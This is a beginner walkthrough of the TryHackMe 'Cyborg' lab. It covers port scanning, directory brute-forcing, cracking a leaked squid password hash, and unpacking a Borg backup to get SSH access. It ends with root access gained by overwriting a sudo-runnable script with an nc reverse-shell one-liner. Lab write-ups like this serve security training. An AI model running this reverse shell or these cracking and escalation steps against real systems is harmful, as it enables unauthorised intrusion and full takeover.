Tryhackme — Cyborg Writeup
This is a walkthrough for the Tryhackme room Cyborg. A beginner-friendly and funny box! Credits to fieldraccon, who created this pleasent room. Direct link to the room: https://tryhackme.com/room/cyborgt8
1.0 Reconnaissance
We start with a usual nmap scan to enumerate for open ports with
nmap -sC -sV 10.10.189.126where “-sC” stands for default script scan and “-sV” for version scan. The output will reveal two open ports:
With using the flag “-p-” we do a full nmap scan to confirm our hypothesis, that there are just two open ports. By default, nmap will scan only the top 1000 ports. Furthermore, I’m going to scan for UDP ports with:
nmap -sU -T4 10.10.189.126There are no new ports. We have confirmed our assumption: We have two open ports, SSH at port 22 and HTTP at port 80.
Question 1: Scan the machine, how many ports are open?
→ 2Question 2:What service is running on port 22?
→ SSHQuestion 3: What service is running on port 80?
→ HTTP
2.0 Enumeration
Now it is time to enumerate the target system. Our nmap scan (Figure 2) revealed two open ports, one of them is SSH at port 22. SSH, which stands for “Secure Shell”, is a network protocol that enables two computers to communicate and share data. Our nmap scan shows the SSH hostkeys and the version, OpenSSH 7.2p Ubuntu 4ubuntu2.10. It’s always important to enumerate the exact version of a service before proceeding. Let’s google the OpenSSH version we have found:
The host is therefore most likely running Ubuntu 16.04(Xenial Xerus). Moreover, we can look for the SSH authentication mechanisms by trying to SSH into the box:
Looks like the server accepts passwords for at least some user. Sometimes you have additional or other authentication layer (read more about it: here). We can abrupt the login with Ctrl+C.
During the OpenSSH 7.2p2 enumeration, we will come across a few user enumeration exploits, but they will very unlikely succeed. So, let’s have a look at port 80 and leave SSH as it is for now.
Our nmap scan tells us that the web server is running Apache 2.4.18. When we open up the HTTP server at port 80, we see the default Apache2 Ubuntu page:
We can look into the source code for comments (which starts with <! — ) or try to find /robots.txt, /sitemap.xml, etc. files on that web server. A more reliable approach is to directory bruteforce with tools like gobuster, dirb, dirbuster, and so on. I’ll use gobuster, but any other tool will work as well.
gobuster dir -u 10.10.189.126 -w /usr/share/wordlists/dirb/common.txt -t 100Where “dir” stands for directory bruteforce, “-u” for the URL, “-w” for the wordlist and “-t 100” for 100 threads.
We can ignore /.htaccess, /.hta and /.htpasswd (also /server-status), but especially /admin and /etc looks very interesting! Let’s investigate that further:
We have found an Admin Panel of an (admin?) user named ‘Alex’. So we have a possible username there. I like to put my potential usernames into a text file called ‘user.txt’ with
echo "alex" >> /tmp/user.txtWe can also tell that Alex likes to play Piano since he was 5 years old and is interested in music in general. This doesn’t have to be relevant, but we have to observe every little detail before we come to a conclusion. By clicking around and just playing a bit with the application, we will come across some internal chats under /admin/admin.html:
We found two more potential usernames
echo "josh\nadam" >> /tmp/user.txtand some important notes of the user Alex. It looks like he tried to set up the squid proxy, but failed to do so. He backupped his “music_archive” and forgot to delete the configuration files. Definition of configuration files[1]:
A configuration file, often shortened to config file, defines the parameters, options, settings and preferences applied to operating systems (OSes), infrastructure devices and applications.
Config files are often overlooked and contains sometimes sensitive informations like credentials. A juicy target for hacker, so it’s worth looking for them. The hint[2] for the user flag points also in this direction:
Have you thought about where the config might be?
We have still this very interesting directory called “/etc”. If you are unfamiliar with Linux/Unix, we’ll do a brief history lesson. In the early days of Unix OS, people wanted to keep some of their files like config files, data files and some other files on their machines. So they implemented a folder to keep all those files and named it “/etc” (which stands for etcetera). Nowadays the meaning of that folder changed, but his name “/etc” hasn’t. It is basically a central location for all of your configuration files and this can be treated as the nerve centre of your Linux/Unix machine[3].
Great reasons to enumerate it:
We can observe the folder called “squid” which was mentioned earlier. It is just some sort of proxy, which can be used for your web server. And we can observe that the Ubuntu server is running Apache 2.4.18, which matches with our nmap scan. Let’s write that down and proceed by enumerating the folder.
We find a very interesting file called “passwd”, which most likely contains a passwd and the configuration file for squid called “squid.conf”. Let’s start with squid.conf:
It looks like the squid proxy uses /etc/squid/passwd to do a basic authentication. Let’s open up the password file under /etc/squid/passwd:
music_archive:$apr1$BpZ.Q.<redacted>It looks like we have the backup file named “music_archive” and the password for it, but in a hashed format. Hashing a password is just a way to encrypt it. For weak credentials, we can try to crack the password using tools like John the Ripper (JTR). I’ll save the password string (right after the colon) into a text file called “pass.txt”. We are going to use the strong wordlist called “rockyou.txt”. The hash itself looks like MD5, but we can leave that part for JTR:
john pass.txt --wordlist=/usr/share/wordlists/rockyou.txt
Now we have the password for the backup file “music_archive”, but we don’t have the file itself. We need to enumerate the target system more to obtain the file. As always, enumeration is key.
When we look around the /admin page again, we can find an interesting file called “archive.tar” (at /admin/archive.tar):
This looks like something which could contain our backup file. Let’s download it and copy into our current working directory:
cp /home/kali/Downloads/archive.tar .
tar xf archive.tarNow we see lots of folder and navigate into them:
Since I have no clue yet what this is, I want to look at “README” and “config” at this point:
The readme file revealed something interesting: That this is a Borg Backup repository (and now the name of this room makes sense, Cyborg). And we are provided with the documentation link, let’s open it.
It looks like Borg encrypt files and backups them. We remember that our (possibly admin user) Alex was a music lover, who backupped his files under “music_archive”. Let’s take some time to research how Borg is being used. First of all, we need to install it. I’m using Kali Linux 2020.4 (Debian), you may wish to install it on another device.
Installing the dependencies according to the documentation:
Now we can use the “pip” module of Python to install BorgBackup (we need borgbackup[fuse]):
Verify that you have installed it correctly by using
borg --version
If you have never worked with virtualenv before, read this: Python virtualenv explained. It’s pretty easy to use, we have just created a virtual environment for our tool!
Now we have this folder called “data”, which is most likely encrypted. We need to tell borg which password we are going to use for our “music_archive” backup file. Take your time to understand how BorgBackup is working. Hacking is always an art between attacking and researching. By researching or simply reading the documentation file, we find out how to use the passphrase we obtained earlier:
Now we can use that command with the passphrase we got earlier:
export BORG_PASSPHRASE='s<redacted>'
You can see the Borg commands by using
borg --helpWe can see a few interesting commands:
By using the “list” command, we can list the important contents. Let’s use it for the current directory (specified with a dot):
borg list .
And there it is! Our file we were looking for. I’ll simply mount the repository inside the /tmp folder to access it’s content:
mkdir /tmp/pe
borg mount . /tmp/pe
And now, we can access it’s content. Let’s navigate into the /tmp/pe folder we have just created.
We have found the user “Alex” inside /home/alex, so we can make the assumption that alex is most likely a valid user inside that machine. Let’s enumerate the folder one by one.
We find a text document called “secret.txt” inside the Desktop folder:
Very motivating so far, hehe. Let’s enumerate the box further:
We recall our enumeration at the beginning ( → SSH possible with user:password). And since we can fairly assume that Alex is an user, we can simply try to login into the box using SSH:
And now we have initial foothold into the machine! The user.txt flag can be found under /home/alex/flag.txt.
3.0 Privilege Escalation
We quickly realize that our initial enumeration of the Ubuntu machine was valueable. We can tell that the host is running Ubuntu 16.04.7 LTS. And we haven’t enumerated all of the backup folder so far. But before we go any further, I always firstly check the privileges with
sudo -lThis will simply list (-l) the user privileges.
As we can see, the user “alex” can run the file backup.sh with sudo rights (“ALL: ALL”) without specifying a passwd (“NOPASSWD”). Let’s have a look what’s inside the backup.sh bash script by using the “cat” command:
cat /etc/mp3backups/backup.shWhich shows the following:
#!/bin/bash
sudo find / -name "*.mp3" | sudo tee /etc/mp3backups/backed_up_files.txtinput="/etc/mp3backups/backed_up_files.txt"
#while IFS= read -r line
#do
#a="/etc/mp3backups/backed_up_files.txt"
# b=$(basename $input)
#echo
# echo "$line"
#done < "$input"while getopts c: flag
do
case "${flag}" in
c) command=${OPTARG};;
esac
donebackup_files="/home/alex/Music/song1.mp3 /home/alex/Music/song2.mp3 /home/alex/Music/song3.mp3 /home/alex/Music/song4.mp3 /home/alex/Music/song5.mp3 /home/alex/Music/song6.mp3 /home/alex/Music/song7.mp3 /home/alex/Music/song8.mp3 /home/alex/Music/song9.mp3 /home/alex/Music/song10.mp3 /home/alex/Music/song11.mp3 /home/alex/Music/song12.mp3"# Where to backup to.
dest="/etc/mp3backups/"# Create archive filename.
hostname=$(hostname -s)
archive_file="$hostname-scheduled.tgz"# Print start status message.
echo "Backing up $backup_files to $dest/$archive_file"echo# Backup the files using tar.
tar czf $dest/$archive_file $backup_files# Print end status message.
echo
echo "Backup finished"cmd=$($command)
echo $cmd
This looks like a bash script to find different songs on the Linux machine, backup them, printing some output, etc. While we could do some crazy privilege escalation methods, let’s always look for the most simple answer before going further. I’ll navigate into the /etc/mp3backups folder to see if we have write access for backup.sh:
We don’t have write permission (which is indicated by the ‘w’ letter), but we own this file. Since this file belongs to “alex”, we can simply edit it as we want. Let’s get the write permission:
chmod +w backup.shAnd now we can edit it as we want. I don’t want to mess with the previous code, so I’ll simply override it’s content by my own reverse shell. Since we can run this backup.sh file with sudo rights, we’ll get a reverse shell as root. I’ve a few reverse shell commands in my notes I’m always using, like this one:
mkfifo /tmp/lol;nc your-attacker-IP 4444 </tmp/lol | /bin/sh -i 2>&1 | tee /tmp/lolThis will simply create a connection back to us. Start a netcat listener at port 4444:
nc -nvlp 4444And execute the script as sudo (be careful to use the full path of the backup.sh file):
sudo /etc/mp3backups/backup.sh
Make sure to start the netcat listener before you execute the script.
You’ll find the root.txt file under /root/root.txt. Really great machine for beginners. Liked it!
